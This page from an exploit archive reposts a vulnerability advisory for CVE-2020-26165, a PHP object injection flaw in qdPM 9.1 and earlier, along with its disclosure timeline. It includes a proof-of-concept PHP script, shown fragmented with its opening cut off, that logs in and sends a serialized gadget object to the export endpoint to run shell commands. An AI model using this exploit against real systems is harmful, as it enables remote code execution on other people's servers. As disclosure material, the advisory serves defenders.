qdPM 9.1 PHP Object Injection

Authored by EgiX | Site karmainsecurity.com

Posted Dec 31, 2020

qdPM versions 9.1 and below suffer from an executeExport PHP object injection vulnerability.

tags | exploit, php
advisories | CVE-2020-26165
SHA-256 | b112518046e2d985fa9df4e1d428c12274ab5e4bf070ee7383978e0a73695f45 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
---------------------------------------------------------------
qdPM <= 9.1 (executeExport) PHP Object Injection Vulnerability
---------------------------------------------------------------


[-] Software Link:

http://qdpm.net


[-] Affected Versions:

Version 9.1 and prior versions.


[-] Vulnerability Description:

The vulnerability is located in the /core/apps/qdPM/modules/timeReport/actions/actions.class.php
script, specifically within the timeReportActions::executeExport() method:

295.  public function executeExport(sfWebRequest $request)
296.  {
297.   $separator = "\t";
298.   $format = $request->getParameter('format');
299.   $filename = $request->getParameter('filename');
300.
301.   $export = unserialize($request->getParameter('export'));

User input passed through the "export" request parameter is not properly sanitized before being
used in a call to the unserialize() function at line 301. This can be exploited by malicious users
to inject arbitrary PHP objects into the application scope, allowing them to carry out a variety
of attacks, such as executing arbitrary OS commands.


[-] Proof of Concept:

http://karmainsecurity.com/pocs/CVE-2020-26165

\n"; print "\nExample....: php $argv[0] http://localhost/qdpm/ user passwd"; print "\nExample....: php $argv[0]
https://test.com/qdpm/ evil hacker\n\n"; die(); } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); print "[-] Logging in
with username '{$user}' and password '{$pass}'\n"; $resp = curl_exec($ch); if (!preg_match("/Cookie: [^;]+/",
$resp, $sid)) die("[-] Session ID not found!\n"); if (!preg_match('/_csrf_token\]" value="([^"]+)"/', $resp,
$csrf)) die("[-] CSRF token not found!\n"); curl_setopt($ch, CURLOPT_URL, "{$url}index.php/login");
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); curl_setopt($ch, CURLOPT_POSTFIELDS, "login[email]=
{$user}&login[password]={$pass}&login[_csrf_token]={$csrf[1]}"); if (!preg_match("/Cookie: [^;]+/",
curl_exec($ch), $sid)) die("[-] Login failed!\n"); print "[-] Logged-in! Exploiting PHP Object Injection...\n";
class sfOutputEscaperObjectDecorator { protected $escapingMethod = "system"; protected $value = "id; whoami"; }
$obj = rawurlencode(str_replace(['s:', chr(0)], ['S:', '\00'], serialize([[new
sfOutputEscaperObjectDecorator]]))); curl_setopt($ch, CURLOPT_URL, "{$url}index.php/timeReport/export?export=
{$obj}"); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); print
curl_exec($ch);




[-] Solution:

No official solution is currently available.


[-] Disclosure Timeline:

[29/02/2020] - Vendor notified
[08/04/2020] - No response, vendor contacted again
[09/04/2020] - Vendor replies they will fix the vulnerability in a summer release
[30/09/2020] - Summer is gone and a new version hasn't been released, vendor contacted again
[30/09/2020] - Vendor replies they're working on version 10, and should be ready in this year
[30/09/2020] - CVE number requested and assigned
[02/12/2020] - Vendor informed about public disclosure by the end of the year
[30/12/2020] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2020-26165 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2020-11
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	150 files
Ubuntu	68 files
LiquidWorm	23 files
Debian	16 files
malvuln	11 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	6 files
Julien Ahrens	4 files
T. Weber	4 files

File Tags

ActiveX	(932)
Advisory	(79,754)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,926)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,602)
Encryption	(2,349)
Exploit	(50,359)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(821)
Kernel	(6,291)
Local	(14,201)
Magazine	(586)
Overflow	(12,419)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,044)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,777)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,315)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,469)
Slackware	(941)
Solaris	(1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed